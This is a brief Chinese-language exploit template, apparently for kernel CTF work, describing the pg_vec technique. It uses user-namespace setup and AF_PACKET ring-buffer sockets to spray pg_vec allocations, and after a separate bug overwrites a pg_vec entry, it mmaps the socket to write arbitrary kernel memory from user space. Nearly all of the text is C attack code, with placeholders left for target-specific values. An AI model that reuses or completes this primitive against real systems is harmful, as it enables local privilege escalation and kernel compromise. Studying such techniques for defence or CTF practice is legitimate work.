板子
使用: 通过漏洞修改pgv中的地址为想要的内核地址,再进行mmap,就能在用户空间直接修改内核数据
void unshare_setup() { int temp_fd; uid_t uid = getuid(); gid_t gid = getgid(); char buffer[0x100]; if (unshare(CLONE_NEWUSER | CLONE_NEWNS | CLONE_NEWNET)) { die("unshare(CLONE_NEWUSER | CLONE_NEWNS)"); } temp_fd = open("/proc/self/setgroups", O_WRONLY); write(temp_fd, "deny", strlen("deny")); close(temp_fd); temp_fd = open("/proc/self/uid_map", O_WRONLY); snprintf(buffer, sizeof(buffer), "0 %d 1", uid); write(temp_fd, buffer, strlen(buffer)); close(temp_fd); temp_fd = open("/proc/self/gid_map", O_WRONLY); snprintf(buffer, sizeof(buffer), "0 %d 1", gid); write(temp_fd, buffer, strlen(buffer)); close(temp_fd); return; } int create_socket_and_alloc_pages(unsigned int size, unsigned int nr) { struct tpacket_req req; int socket_fd, version; int ret; socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET); if (socket_fd < 0) { printf("[x] failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)\n"); ret = socket_fd; goto err_out; } version = TPACKET_V1; ret = setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version)); if (ret < 0) { die("[x] failed at setsockopt(PACKET_VERSION)\n"); goto err_setsockopt; } memset(&req, 0, sizeof(req)); req.tp_block_size = size; req.tp_block_nr = nr; req.tp_frame_size = 0x1000; req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size; ret = setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req)); if (ret < 0) { die("[x] failed at setsockopt(PACKET_TX_RING)\n"); goto err_setsockopt; } return socket_fd; err_setsockopt: close(socket_fd); err_out: return ret; } int packet_socket_setup(uint32_t block_size, uint32_t frame_size, uint32_t block_nr, uint32_t sizeof_priv, int timeout) { int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (s < 0) { perror("[-] socket (AF_PACKET)"); exit(1); } int v = TPACKET_V3; int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v)); if (rv < 0) { perror("[-] setsockopt (PACKET_VERSION)"); exit(1); } struct tpacket_req3 req3; memset(&req3, 0, sizeof(req3)); req3.tp_sizeof_priv = sizeof_priv; req3.tp_block_nr = block_nr; req3.tp_block_size = block_size; req3.tp_frame_size = frame_size; req3.tp_frame_nr = (block_size * block_nr) / frame_size; req3.tp_retire_blk_tov = timeout; req3.tp_feature_req_word = 0; rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req3, sizeof(req3)); if (rv < 0) { perror("[-] setsockopt (PACKET_RX_RING)"); exit(1); } struct sockaddr_ll sa; memset(&sa, 0, sizeof(sa)); sa.sll_family = PF_PACKET; sa.sll_protocol = htons(ETH_P_ALL); sa.sll_ifindex = if_nametoindex("lo"); sa.sll_hatype = 0; sa.sll_halen = 0; sa.sll_pkttype = 0; sa.sll_halen = 0; rv = bind(s, (struct sockaddr *)&sa, sizeof(sa)); if (rv < 0) { perror("[-] bind (AF_PACKET)"); exit(1); } return s; } int main(){ ... unshare_setup(); int block_nr = ?? / 0x8; // count 为 pg_vec 数组的大小, 即 pg_vec 的大小为 count*8 // 第一个参数 block_size/4096 为要分配的 order int packet_fds = packet_socket_setup(0x1000, 0x800, block_nr, 0, 1000); ... xxx // overwrite pg_vec char *page = mmap(NULL, 0x1000 * block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, packet_fds, 0); if (page < 0) { die("page"); } page[??] = ??; // arb_write ... }